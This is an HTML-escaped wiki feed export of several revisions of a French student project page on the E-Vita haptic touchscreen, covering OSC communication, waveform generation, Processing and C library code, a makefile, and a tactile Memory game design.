Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu jeu.png|350px|thumb|center]&lt;br /&gt;
[[Fichier:Game.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Pause.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Win.png|350px|thumb|center]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39489</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39489"/>
				<updated>2017-02-23T01:14:27Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
